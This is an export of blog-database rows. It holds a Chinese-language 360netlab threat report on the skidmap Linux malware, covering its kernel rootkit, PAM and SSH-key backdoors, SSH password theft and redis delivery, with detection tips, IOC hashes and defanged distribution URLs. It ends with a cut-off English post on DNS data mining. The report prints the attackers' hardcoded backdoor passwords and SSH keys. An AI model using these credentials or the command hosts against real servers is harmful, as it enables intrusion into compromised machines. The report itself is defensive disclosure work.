hield"]]]],[1,"h2",[[0,[],0,"IOC"]]],[1,"p",[[0,[0],1,"注：本IOC列表仅包含DNSMon系统发现的且之前分析报告没有提及的域名IOC以及本次分析流程中识别出的其他类型的IOC。"]]],[10,13]],"ghostVersion":"3.0"} | 5fbd94e4699d440007bba70b |
post | null | 2020-11-25T02:19:27.000Z | 63873b9a8b1c1e0007f52f8f | more-about-skidmap | 0 | 2020-11-30T11:24:53.000Z | public | draft | null | null | More About skidmap | <!--kg-card-begin: markdown--><h1 id="">引</h1>
<p>我们（360netlab）于 20201127 发了一篇《<a href="__GHOST_URL__/use-dns-data-produce-threat-intelligence/">用DNS数据进行威胁发现<br>
---发现skidmap的未知后门</a>》的文章，它的主题是从 DNSMon 为入口发现并阻断skidmap。而本文的主题，则是试图从更多的视角剖析skidmap可能引起的安全问题，以及如何识别并处置相关问题。</p>
<p>之所以觉得有必要继续深入的写这样一篇文章，原因在于以下几点：</p>
<ol>
<li>在公开的skidmap相关的文章中，对skidmap的恶意定性为挖矿，然而我们认为真正值得关注的点，在于它的后门逻辑，由于这些后门的存在，受害者二次受害的风险增加了。</li>
<li>从我们手中的线索来看，我们确信，一部分机器是以 “redis漏洞” 为入口被攻陷的，这表明这部分受害机器中 redis服务 和后门是同时存在的，而 redis服务 在很多公司中是负责数据管道的基础组件，一般都留存着公司相关的重要数据。skidmap的存在让这些公司在 数据泄漏/数据投毒 的威胁大幅度提升，最终影响公司的安全生产。</li>
<li>在可搜索的文章中，都只提到了 skidmap 一小部分细节，而关于：该后门是如何植入的，后门影响哪些Linux内核版本，如何识别这个后门等细节，没有一个汇总性质的报告。这对于日后的事件处置来说帮助不大。碰巧的是我们手里的信息足够清晰描述这些细节。</li>
</ol>
<p>基于以上原因，我们决定以看到的细节为线索，重新披露一次skidmap这个后门程序。</p>
<p>PS: 在撰写本文的时候出现了一个新的样本分发域名 <code>http[:]//d.powreofwish[.]com/pm.sh</code>。</p>
<h1 id="skidmap">skidmap的整体结构</h1>
<p>由于该恶意程序涉及到很多的文件，为了更清晰的描述清楚这些文件之间的关系，以及它们存在的意义，我们绘制了一个全局图，方便大家快速的了解到 skidmap 中的关键细节。</p>
<p><img src="__GHOST_URL__/content/images/2020/11/skidmap_all_detail-1.png" alt="skidmap_all_detail-1" loading="lazy"></p>
<h2 id="lkmrootkit">内核层隐藏 LKM-rootkit</h2>
<p>skidmap内核模块中对常见的 Linux 发行版均有考虑，但植入rootkit这个逻辑，目前仅仅针对 CentOS6/7 发行版，通过样本逆向，我们可以断定，它仅处理了以下几个Linux内核版本：</p>
<pre><code>CentOS6
2.6.x-71 / 2.6.x-220 / 2.6.x-279
2.6.x-431 / 2.6.x-504 / 2.6.x-573
2.6.x-642 / 2.6.x-696 / 2.6.x-754
CentOS7
3.10.x-123 / 3.10.x-229 / 3.10.x-327
3.10.x-514 / 3.10.x-693 / 3.10.x-862
3.10.x-957 / 3.10.x-1062 / 3.10.x-1127
</code></pre>
<p>通过安装内核模块（iproute.ko/crypto.ko/netlink.ko）skidmap 可以将运行中涉及到的所有文件，进程，网络会话，对用户隐藏起来。用户将无法通过 ls/ps/top/netstat 等命令发现被攻击的线索。甚至挖矿时，CPU利用率的展示信息也是被内核模块修改过的。</p>
<h2 id="">远控后门</h2>
<p>skidmap 执行成功后，在受害者机器上会安装三类后门。</p>
<h3 id="1">后门1</h3>
<p>skidmap 执行之后，会在系统目录释放 pam_unix.so 文件（需要root权限），该文件一般用于 SSH 远程登录的身份认证。在 pam_unix.so 中，攻击者硬编码了一个密码<code>Mtm$%889*G*S3%G</code>。该密码不绑定用户名，任意系统用户均可通过该密码登录，包括root。</p>
<p>在写本文的时候，攻击者更新了一个新的密码：<code>Mtm$%898*G*S3%G</code></p>
<h3 id="2">后门2</h3>
<p>skidmap 执行后，会在当前用户对应目录放置一个 ssh-rsa 的公钥。攻击者随时可以拿着正确的私钥登录机器。</p>
<p><code>ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/cjOtK8LAcIPBchQkU/qKSGbe7A9MTvrwqBc6trso6UMBpeTWY8loM1082h4HZ4daNJ1S8yB57PtOHSUwG//SD5ahYfOTOInQpU5p7mnczql9UPXO68VXukBpbmjueEwVtXXFnd/9kZzqBroS9zMakKh53URPoKus4d/V7Ct5ecPSo2WDRJDLbewE9ojb+v4R8C4xartjNLsyUXRwqgk1B6LK8JKIWUU55+LoaecFTBoBil+DP2Wxl2RhFaGCHItInwPgmtigYcOH/zMePw+aiXsYMbSzNtQswh3E0h7bpxq7hgilFTglfmrZybF45enkjwr9cfsWpkQ6NQ1nONA9 root@doclever</code></p>
<p>在写本文的时候，攻击者更新了一个新的公钥：</p>
<p><code>ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@doclever </code></p>
<p>但新更新的公钥，却被曝光在DDG相关资料(<a href="https://www.mdeditor.tw/pl/pOYN/zh-hk">https://www.mdeditor.tw/pl/pOYN/zh-hk</a>)中。出现这样诡异的情况，笔者推测原因有二：</p>
<ol>
<li>提供 DDG资料的作者，把DDG和skidmap弄混了，由于skidmap本身比较难发现，而DDG很容易发现。所以弄混的可能是存在的。</li>
<li>skidmap在被我们曝光之后，在试图隐藏痕迹，或者向 DDG 泼脏水。</li>
</ol>
<h3 id="3">后门3</h3>
<p>skidmap 执行后，会启动一个名为 <code>irqbalanced</code> 的后门程序，即 《<a href="__GHOST_URL__/use-dns-data-produce-threat-intelligence/">用DNS数据进行威胁发现----发现skidmap的未知后门</a>》中提到的 <code>rctl</code> 开源远控。该后门程序内置多个主控域名，攻击者可以随时操控相关的受控主机。有趣的是：在内置的域名中，甚至都没有完全注册，这也给了我们一个近距离观察这个后门细节的机会。</p>
<h3 id="">口令窃取</h3>
<p>在公开的关于 skidmap 分析中，很少有提到其具有口令窃取的功能，但通过对相关样本的逆向分析，我们确认，它能够窃取 SSH 登录口令。</p>
<p><em>当从受控机登录到一台新机器时</em>，被安装的 /usr/bin/ssh 就会记录下登录密码，并将结果以<code>user:password@host --> |%s|%s|%s</code> 的格式，保存在/usr/include/olog.h 文件中（该文件会受到“内核模块”的保护）。<br>
<em>当其他人通过口令登录到受控机时</em>，被安装的 /usr/bin/ip6network 会记录下登录密码，，并将结果以 <code>user:password --> |%s|%s</code> 的格式，保存在 /usr/include/ilog.h 文件中（该文件会受到“内核模块”的保护）。</p>
<p>在 /usr/bin/kswaped 程序中，会定期将收集到的 ilog.h/olog.h 文件汇报给攻击者（info[.]onlinetalk[.]tk/info[.]ipfswallet[.]tk）。</p>
<p>通过这样的密码收集，攻击者可以实现横向移动，发现并操纵更多的主机。</p>
<h1 id="skidmap">skidmap 是如何投递的</h1>
<p>关于域名 ipfswallet.tk 这个域名的恶意线索，我们最早可以回溯到2018年11月2日，在我们的“Anglerfish蜜罐”中，记录了如下内容：</p>
<p><img src="__GHOST_URL__/content/images/2020/11/skidmap_Inject.png" alt="skidmap_Inject" loading="lazy"></p>
<p>如图可知，这是一个通过 redis 传播的恶意样本，不难发现：随着 pc 一起出现的还有一个 pm.sh ，这就是上文中提到的挖矿脚本，也许正是这个表层脚本的存在，降低了普通安全分析人员进一步探索样本背后行为的意愿。</p>
<p>另一方面由于 pc(ecb5435b877eae990b4e296113ee8ea7) 中有对执行环境的判断，当且仅当执行环境为 CentOS 时，才会进一步完成后续复杂逻辑的执行。这会导致一部分沙箱无法正确的模拟出样本的全部行为。可能也正是这个原因，rctl 相关的一系列域名才用了相当长的时间体现在外部情报之中。（这也表明 DNSMon 生产的威胁情报是有很好的补充作用的）。</p>
<h1 id="skidmap">如何识别skidmap</h1>
<p><em>内核模块判断方法</em></p>
<p>考虑到大部分 Linux 运维人员没有对抗 rootkit 的经验，这里将给出一些依据Linux自带命令就可完成的判定方法。</p>
<p>通过分析我们发现，skidmap 隐藏文件的逻辑是基于文件名的，而不绑定路径。其次，文件隐藏生效范围也仅限于 <code>ls</code> 命令，而不包含 <code>file/cat</code> 命令。所以只需要随便一个目录，创建一个同名文件，无法通过ls观察到，但却可以通过 <code>file/cat</code> 观察到。一旦满足这个条件，就可以迅速判断出当前系统是否被植入 skidmap 。具体操作如下图所示：</p>
<p><img src="__GHOST_URL__/content/images/2020/11/determine_skidmap.png" alt="determine_skidmap" loading="lazy"></p>
<p>同 <code>ip6network</code> 达到类似效果的文件名还有很多，比如 <code>iproute.ko</code> / <code>netlink.ko</code> / <code>cryptov2.ko</code> / <code>kswaped</code> / <code>irqbalanced</code> 等等，篇头图中的大部分文件名，均可用于识别skidmap 。</p>
<p><em>挖矿情况判断方法</em></p>
<p>由于挖矿程序会修改用户 Home目录文件。植入 <em>后门2</em> 。所以通过查阅<code>~/.ssh/authorized_keys</code> 的文件内容，也可以看到被攻击的迹象。</p>
<h1 id="skidmap">如何清理 skidmap</h1>
<p>联系360安服人员？安装360杀毒Linux版？或者xxxx？</p>
<h1 id="ioc">IOC</h1>
<pre><code>bc97398297f45603a858d4a64a411cf4 pc_upx_unpack
57256b359e381e8b949f18b4d9081f39 kaudite_upx_unpack
ecb6f50245706cfbdc6d2098bc9c54f3 irqbalanced
0c6e5b9f04fcff56ed882e112abea263 crypto1062
76d5be89fee2eb8706720115f13499aa netlink1062
b116a39ed0aab864f749126f8040ef6e iproute1062
3007be4300e5c05d7b1910f3f73c0ba1 /lib/x86_64-linux-gnu/security/pam_unix.so
325a5dd42dfc140dbd2e3eb0f0448ec3 /lib/x86_64-linux-gnu/security/pam_unix.so
ecb5435b877eae990b4e296113ee8ea7 pc
57256b359e381e8b949f18b4d9081f39 kaudite
20bd9e38ba920a86a7d64106f9f8c6d1 cos7.tar.gz
ce1ac8a48a3b2f5c8b5a1567908670e6 cos6.tar.gz
在撰写本文的过程中，出现了新的样本分发地址
http://d.powreofwish[.]com/pm.sh
http://d.powreofwish[.]com/cc
http://d.powreofwish[.]com/cos7.tar.gz
http://d.powreofwish[.]com/cos6.tar.gz
</code></pre>
<!--kg-card-end: markdown--> | 引
我们（360netlab）于 20201127 发了一篇《用DNS数据进行威胁发现
---发现skidmap的未知后门》的文章，它的主题是从 DNSMon 为入口发现并阻断skidmap。而本文的主题，则是试图从更多的视角剖析skidmap可能引起的安全问题，以及如何识别并处置相关问题。
之所以觉得有必要继续深入的写这样一篇文章，原因在于以下几点：
1. 在公开的skidmap相关的文章中，对skidmap的恶意定性为挖矿，然而我们认为真正值得关注的点，在于它的后门逻辑，由于这些后门的存在，受害者二次受害的风险增加了。
2. 从我们手中的线索来看，我们确信，一部分机器是以 “redis漏洞” 为入口被攻陷的，这表明这部分受害机器中 redis服务 和后门是同时存在的，而 redis服务 在很多公司中是负责数据管道的基础组件，一般都留存着公司相关的重要数据。skidmap的存在让这些公司在 数据泄漏/数据投毒 的威胁大幅度提升，最终影响公司的安全生产。
3. 在可搜索的文章中，都只提到了 skidmap 一小部分细节，而关于：该后门是如何植入的，后门影响哪些Linux内核版本，如何识别这个后门等细节，没有一个汇总性质的报告。这对于日后的事件处置来说帮助不大。碰巧的是我们手里的信息足够清晰描述这些细节。
基于以上原因，我们决定以看到的细节为线索，重新披露一次skidmap这个后门程序。
PS: 在撰写本文的时候出现了一个新的样本分发域名 http[:]//d.powreofwish[.]com/pm.sh。
skidmap的整体结构
由于该恶意程序涉及到很多的文件，为了更清晰的描述清楚这些文件之间的关系，以及它们存在的意义，我们绘制了一个全局图，方便大家快速的了解到 skidmap 中的关键细节。
内核层隐藏 LKM-rootkit
skidmap内核模块中对常见的 Linux 发行版均有考虑，但植入rootkit这个逻辑，目前仅仅针对 CentOS6/7 发行版，通过样本逆向，我们可以断定，它仅处理了以下几个Linux内核版本：
CentOS6
2.6.x-71 / 2.6.x-220 / 2.6.x-279
2.6.x-431 / 2.6.x-504 / 2.6.x-573
2.6.x-642 / 2.6.x-696 / 2.6.x-754
CentOS7
3.10.x-123 / 3.10.x-229 / 3.10.x-327
3.10.x-514 / 3.10.x-693 / 3.10.x-862
3.10.x-957 / 3.10.x-1062 / 3.10.x-1127
通过安装内核模块（iproute.ko/crypto.ko/netlink.ko）skidmap 可以将运行中涉及到的所有文件，进程，网络会话，对用户隐藏起来。用户将无法通过 ls/ps/top/netstat 等命令发现被攻击的线索。甚至挖矿时，CPU利用率的展示信息也是被内核模块修改过的。
远控后门
skidmap 执行成功后，在受害者机器上会安装三类后门。
后门1
skidmap 执行之后，会在系统目录释放 pam_unix.so 文件（需要root权限），该文件一般用于 SSH 远程登录的身份认证。在 pam_unix.so 中，攻击者硬编码了一个密码Mtm$%889*G*S3%G。该密码不绑定用户名，任意系统用户均可通过该密码登录，包括root。
在写本文的时候，攻击者更新了一个新的密码：Mtm$%898*G*S3%G
后门2
skidmap 执行后，会在当前用户对应目录放置一个 ssh-rsa 的公钥。攻击者随时可以拿着正确的私钥登录机器。
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/cjOtK8LAcIPBchQkU/qKSGbe7A9MTvrwqBc6trso6UMBpeTWY8loM1082h4HZ4daNJ1S8yB57PtOHSUwG//SD5ahYfOTOInQpU5p7mnczql9UPXO68VXukBpbmjueEwVtXXFnd/9kZzqBroS9zMakKh53URPoKus4d/V7Ct5ecPSo2WDRJDLbewE9ojb+v4R8C4xartjNLsyUXRwqgk1B6LK8JKIWUU55+LoaecFTBoBil+DP2Wxl2RhFaGCHItInwPgmtigYcOH/zMePw+aiXsYMbSzNtQswh3E0h7bpxq7hgilFTglfmrZybF45enkjwr9cfsWpkQ6NQ1nONA9 root@doclever
在写本文的时候，攻击者更新了一个新的公钥：
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@doclever
但新更新的公钥，却被曝光在DDG相关资料(https://www.mdeditor.tw/pl/pOYN/zh-hk)中。出现这样诡异的情况，笔者推测原因有二：
1. 提供 DDG资料的作者，把DDG和skidmap弄混了，由于skidmap本身比较难发现，而DDG很容易发现。所以弄混的可能是存在的。
2. skidmap在被我们曝光之后，在试图隐藏痕迹，或者向 DDG 泼脏水。
后门3
skidmap 执行后，会启动一个名为 irqbalanced 的后门程序，即 《用DNS数据进行威胁发现----发现skidmap的未知后门》中提到的 rctl 开源远控。该后门程序内置多个主控域名，攻击者可以随时操控相关的受控主机。有趣的是：在内置的域名中，甚至都没有完全注册，这也给了我们一个近距离观察这个后门细节的机会。
口令窃取
在公开的关于 skidmap 分析中，很少有提到其具有口令窃取的功能，但通过对相关样本的逆向分析，我们确认，它能够窃取 SSH 登录口令。
当从受控机登录到一台新机器时，被安装的 /usr/bin/ssh 就会记录下登录密码，并将结果以user:password@host --> |%s|%s|%s 的格式，保存在/usr/include/olog.h 文件中（该文件会受到“内核模块”的保护）。
当其他人通过口令登录到受控机时，被安装的 /usr/bin/ip6network 会记录下登录密码，，并将结果以 user:password --> |%s|%s 的格式，保存在 /usr/include/ilog.h 文件中（该文件会受到“内核模块”的保护）。
在 /usr/bin/kswaped 程序中，会定期将收集到的 ilog.h/olog.h 文件汇报给攻击者（info[.]onlinetalk[.]tk/info[.]ipfswallet[.]tk）。
通过这样的密码收集，攻击者可以实现横向移动，发现并操纵更多的主机。
skidmap 是如何投递的
关于域名 ipfswallet.tk 这个域名的恶意线索，我们最早可以回溯到2018年11月2日，在我们的“Anglerfish蜜罐”中，记录了如下内容：
如图可知，这是一个通过 redis 传播的恶意样本，不难发现：随着 pc 一起出现的还有一个 pm.sh ，这就是上文中提到的挖矿脚本，也许正是这个表层脚本的存在，降低了普通安全分析人员进一步探索样本背后行为的意愿。
另一方面由于 pc(ecb5435b877eae990b4e296113ee8ea7) 中有对执行环境的判断，当且仅当执行环境为 CentOS 时，才会进一步完成后续复杂逻辑的执行。这会导致一部分沙箱无法正确的模拟出样本的全部行为。可能也正是这个原因，rctl 相关的一系列域名才用了相当长的时间体现在外部情报之中。（这也表明 DNSMon 生产的威胁情报是有很好的补充作用的）。
如何识别skidmap
内核模块判断方法
考虑到大部分 Linux 运维人员没有对抗 rootkit 的经验，这里将给出一些依据Linux自带命令就可完成的判定方法。
通过分析我们发现，skidmap 隐藏文件的逻辑是基于文件名的，而不绑定路径。其次，文件隐藏生效范围也仅限于 ls 命令，而不包含 file/cat 命令。所以只需要随便一个目录，创建一个同名文件，无法通过ls观察到，但却可以通过 file/cat 观察到。一旦满足这个条件，就可以迅速判断出当前系统是否被植入 skidmap 。具体操作如下图所示：
同 ip6network 达到类似效果的文件名还有很多，比如 iproute.ko / netlink.ko / cryptov2.ko / kswaped / irqbalanced 等等，篇头图中的大部分文件名，均可用于识别skidmap 。
挖矿情况判断方法
由于挖矿程序会修改用户 Home目录文件。植入 后门2 。所以通过查阅~/.ssh/authorized_keys 的文件内容，也可以看到被攻击的迹象。
如何清理 skidmap
联系360安服人员？安装360杀毒Linux版？或者xxxx？
IOC
bc97398297f45603a858d4a64a411cf4 pc_upx_unpack
57256b359e381e8b949f18b4d9081f39 kaudite_upx_unpack
ecb6f50245706cfbdc6d2098bc9c54f3 irqbalanced
0c6e5b9f04fcff56ed882e112abea263 crypto1062
76d5be89fee2eb8706720115f13499aa netlink1062
b116a39ed0aab864f749126f8040ef6e iproute1062
3007be4300e5c05d7b1910f3f73c0ba1 /lib/x86_64-linux-gnu/security/pam_unix.so
325a5dd42dfc140dbd2e3eb0f0448ec3 /lib/x86_64-linux-gnu/security/pam_unix.so
ecb5435b877eae990b4e296113ee8ea7 pc
57256b359e381e8b949f18b4d9081f39 kaudite
20bd9e38ba920a86a7d64106f9f8c6d1 cos7.tar.gz
ce1ac8a48a3b2f5c8b5a1567908670e6 cos6.tar.gz
在撰写本文的过程中，出现了新的样本分发地址
http://d.powreofwish[.]com/pm.sh
http://d.powreofwish[.]com/cc
http://d.powreofwish[.]com/cos7.tar.gz
http://d.powreofwish[.]com/cos6.tar.gz
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# 引\n\n我们（360netlab）于 20201127 发了一篇《[用DNS数据进行威胁发现\n---发现skidmap的未知后门](__GHOST_URL__/use-dns-data-produce-threat-intelligence/)》的文章，它的主题是从 DNSMon 为入口发现并阻断skidmap。而本文的主题，则是试图从更多的视角剖析skidmap可能引起的安全问题，以及如何识别并处置相关问题。\n\n之所以觉得有必要继续深入的写这样一篇文章，原因在于以下几点：\n\n1. 在公开的skidmap相关的文章中，对skidmap的恶意定性为挖矿，然而我们认为真正值得关注的点，在于它的后门逻辑，由于这些后门的存在，受害者二次受害的风险增加了。\n2. 从我们手中的线索来看，我们确信，一部分机器是以 “redis漏洞” 为入口被攻陷的，这表明这部分受害机器中 redis服务 和后门是同时存在的，而 redis服务 在很多公司中是负责数据管道的基础组件，一般都留存着公司相关的重要数据。skidmap的存在让这些公司在 数据泄漏/数据投毒 的威胁大幅度提升，最终影响公司的安全生产。\n3. 在可搜索的文章中，都只提到了 skidmap 一小部分细节，而关于：该后门是如何植入的，后门影响哪些Linux内核版本，如何识别这个后门等细节，没有一个汇总性质的报告。这对于日后的事件处置来说帮助不大。碰巧的是我们手里的信息足够清晰描述这些细节。\n\n基于以上原因，我们决定以看到的细节为线索，重新披露一次skidmap这个后门程序。\n\nPS: 在撰写本文的时候出现了一个新的样本分发域名 `http[:]//d.powreofwish[.]com/pm.sh`。\n# skidmap的整体结构\n\n由于该恶意程序涉及到很多的文件，为了更清晰的描述清楚这些文件之间的关系，以及它们存在的意义，我们绘制了一个全局图，方便大家快速的了解到 skidmap 中的关键细节。\n\n\n\n## 内核层隐藏 LKM-rootkit\n\nskidmap内核模块中对常见的 Linux 发行版均有考虑，但植入rootkit这个逻辑，目前仅仅针对 CentOS6/7 发行版，通过样本逆向，我们可以断定，它仅处理了以下几个Linux内核版本：\n\n```\nCentOS6\n2.6.x-71 / 2.6.x-220 / 2.6.x-279\n2.6.x-431 / 2.6.x-504 / 2.6.x-573\n2.6.x-642 / 2.6.x-696 / 2.6.x-754\n\nCentOS7\n3.10.x-123 / 3.10.x-229 / 3.10.x-327\n3.10.x-514 / 3.10.x-693 / 3.10.x-862\n3.10.x-957 / 3.10.x-1062 / 3.10.x-1127\n```\n\n通过安装内核模块（iproute\\.ko/crypto\\.ko/netlink\\.ko）skidmap 可以将运行中涉及到的所有文件，进程，网络会话，对用户隐藏起来。用户将无法通过 ls/ps/top/netstat 等命令发现被攻击的线索。甚至挖矿时，CPU利用率的展示信息也是被内核模块修改过的。\n\n## 远控后门\n\nskidmap 执行成功后，在受害者机器上会安装三类后门。\n\n### 后门1\n\nskidmap 执行之后，会在系统目录释放 pam\\_unix.so 文件（需要root权限），该文件一般用于 SSH 远程登录的身份认证。在 pam\\_unix.so 中，攻击者硬编码了一个密码`Mtm$%889*G*S3%G`。该密码不绑定用户名，任意系统用户均可通过该密码登录，包括root。\n\n\n在写本文的时候，攻击者更新了一个新的密码：`Mtm$%898*G*S3%G`\n\n### 后门2\n\nskidmap 执行后，会在当前用户对应目录放置一个 ssh-rsa 的公钥。攻击者随时可以拿着正确的私钥登录机器。\n\n`ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/cjOtK8LAcIPBchQkU/qKSGbe7A9MTvrwqBc6trso6UMBpeTWY8loM1082h4HZ4daNJ1S8yB57PtOHSUwG//SD5ahYfOTOInQpU5p7mnczql9UPXO68VXukBpbmjueEwVtXXFnd/9kZzqBroS9zMakKh53URPoKus4d/V7Ct5ecPSo2WDRJDLbewE9ojb+v4R8C4xartjNLsyUXRwqgk1B6LK8JKIWUU55+LoaecFTBoBil+DP2Wxl2RhFaGCHItInwPgmtigYcOH/zMePw+aiXsYMbSzNtQswh3E0h7bpxq7hgilFTglfmrZybF45enkjwr9cfsWpkQ6NQ1nONA9 root@doclever`\n\n在写本文的时候，攻击者更新了一个新的公钥：\n\n`ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ ohYSBb7pK/2QFeVa22L+4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+Kl2yXiHN5oD9BVTkdIWX root@doclever\n`\n\n但新更新的公钥，却被曝光在DDG相关资料(https://www.mdeditor.tw/pl/pOYN/zh-hk)中。出现这样诡异的情况，笔者推测原因有二：\n\n1. 提供 DDG资料的作者，把DDG和skidmap弄混了，由于skidmap本身比较难发现，而DDG很容易发现。所以弄混的可能是存在的。\n2. skidmap在被我们曝光之后，在试图隐藏痕迹，或者向 DDG 泼脏水。\n\n### 后门3\n\nskidmap 执行后，会启动一个名为 `irqbalanced` 的后门程序，即 《[用DNS数据进行威胁发现----发现skidmap的未知后门](__GHOST_URL__/use-dns-data-produce-threat-intelligence/)》中提到的 `rctl` 开源远控。该后门程序内置多个主控域名，攻击者可以随时操控相关的受控主机。有趣的是：在内置的域名中，甚至都没有完全注册，这也给了我们一个近距离观察这个后门细节的机会。\n\n\n### 口令窃取\n\n在公开的关于 skidmap 分析中，很少有提到其具有口令窃取的功能，但通过对相关样本的逆向分析，我们确认，它能够窃取 SSH 登录口令。\n\n*当从受控机登录到一台新机器时*，被安装的 /usr/bin/ssh 就会记录下登录密码，并将结果以`user:password@host --> |%s|%s|%s` 的格式，保存在/usr/include/olog.h 文件中（该文件会受到“内核模块”的保护）。\n*当其他人通过口令登录到受控机时*，被安装的 /usr/bin/ip6network 会记录下登录密码，，并将结果以 `user:password --> |%s|%s` 的格式，保存在 /usr/include/ilog.h 文件中（该文件会受到“内核模块”的保护）。\n\n在 /usr/bin/kswaped 程序中，会定期将收集到的 ilog.h/olog.h 文件汇报给攻击者（info[.]onlinetalk[.]tk/info[.]ipfswallet[.]tk）。\n\n通过这样的密码收集，攻击者可以实现横向移动，发现并操纵更多的主机。\n\n# skidmap 是如何投递的\n\n关于域名 ipfswallet.tk 这个域名的恶意线索，我们最早可以回溯到2018年11月2日，在我们的“Anglerfish蜜罐”中，记录了如下内容：\n\n\n\n如图可知，这是一个通过 redis 传播的恶意样本，不难发现：随着 pc 一起出现的还有一个 pm.sh ，这就是上文中提到的挖矿脚本，也许正是这个表层脚本的存在，降低了普通安全分析人员进一步探索样本背后行为的意愿。\n\n另一方面由于 pc(ecb5435b877eae990b4e296113ee8ea7) 中有对执行环境的判断，当且仅当执行环境为 CentOS 时，才会进一步完成后续复杂逻辑的执行。这会导致一部分沙箱无法正确的模拟出样本的全部行为。可能也正是这个原因，rctl 相关的一系列域名才用了相当长的时间体现在外部情报之中。（这也表明 DNSMon 生产的威胁情报是有很好的补充作用的）。\n\n# 如何识别skidmap\n\n*内核模块判断方法*\n\n考虑到大部分 Linux 运维人员没有对抗 rootkit 的经验，这里将给出一些依据Linux自带命令就可完成的判定方法。\n\n通过分析我们发现，skidmap 隐藏文件的逻辑是基于文件名的，而不绑定路径。其次，文件隐藏生效范围也仅限于 `ls` 命令，而不包含 `file/cat` 命令。所以只需要随便一个目录，创建一个同名文件，无法通过ls观察到，但却可以通过 `file/cat` 观察到。一旦满足这个条件，就可以迅速判断出当前系统是否被植入 skidmap 。具体操作如下图所示：\n\n\n\n同 `ip6network` 达到类似效果的文件名还有很多，比如 `iproute.ko` / `netlink.ko` / `cryptov2.ko` / `kswaped` / `irqbalanced` 等等，篇头图中的大部分文件名，均可用于识别skidmap 。\n\n*挖矿情况判断方法*\n\n由于挖矿程序会修改用户 Home目录文件。植入 *后门2* 。所以通过查阅`~/.ssh/authorized_keys` 的文件内容，也可以看到被攻击的迹象。\n# 如何清理 skidmap\n\n联系360安服人员？安装360杀毒Linux版？或者xxxx？\n\n\n# IOC\n\n\n```\nbc97398297f45603a858d4a64a411cf4 pc_upx_unpack \n57256b359e381e8b949f18b4d9081f39 kaudite_upx_unpack \necb6f50245706cfbdc6d2098bc9c54f3 irqbalanced\n0c6e5b9f04fcff56ed882e112abea263 crypto1062 \n76d5be89fee2eb8706720115f13499aa netlink1062 \nb116a39ed0aab864f749126f8040ef6e iproute1062 \n3007be4300e5c05d7b1910f3f73c0ba1 /lib/x86_64-linux-gnu/security/pam_unix.so \n325a5dd42dfc140dbd2e3eb0f0448ec3 /lib/x86_64-linux-gnu/security/pam_unix.so \n\necb5435b877eae990b4e296113ee8ea7 pc \n57256b359e381e8b949f18b4d9081f39 kaudite \n20bd9e38ba920a86a7d64106f9f8c6d1 cos7.tar.gz \nce1ac8a48a3b2f5c8b5a1567908670e6 cos6.tar.gz \n\n\n在撰写本文的过程中，出现了新的样本分发地址\nhttp://d.powreofwish[.]com/pm.sh\nhttp://d.powreofwish[.]com/cc\nhttp://d.powreofwish[.]com/cos7.tar.gz\nhttp://d.powreofwish[.]com/cos6.tar.gz\n\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5fbdbf2f699d440007bba723 |
post | null | 2020-11-26T03:28:05.000Z | 63873b9a8b1c1e0007f52f90 | security-with-dns-data_en | 0 | 2020-11-30T14:00:00.000Z | public | published | null | 2020-11-30T14:00:00.000Z | DNS data mining case study - skidmap | <p>As the foundation and core protocol of the Internet, the DNS protocol carries data that, to a certain extent, reflects a good deal of the user behaviors, thus security analysis of DNS data can cover a decent amount of the malicious activities. </p><p>In the early days, typical scenarios for early security practices using DNS data include DGA and fastflux. Although the specific methods for detecting these two types of malicious behavior vary (e.g., detecting DGA domains ranges from a few statistical dimensions to multi-feature machine learning to deep learning detection based on timing, etc.), the core of the detection is still based on pure DNS data. The main reason for this is that the key features of both types of malicious behavior are already evident in the DNS data, and little or no external data is needed for fast and accurate detection. </p><p>In reality, however, the traces left by malware in DNS data vary greatly depending on the purpose and environment (e.g., the implementation of protocol stacks by Windows, Linux, macOS, etc.), making it difficult or impossible to efficiently complete the closed loop of data cleansing, aggregation, detection, verification, and defense by relying on DNS data alone. In the face of massive amounts of DNS data (and other basic data as well), big data analytics methods can produce a plenty of (anomalous) clues but characterizing them to produce accurate threat intelligence is another story. </p><p>With today's rapid development of data, computing power and machine intelligence algorithms, we believe that one of the future directions of DNS security is the correlation and integration of massive amounts of 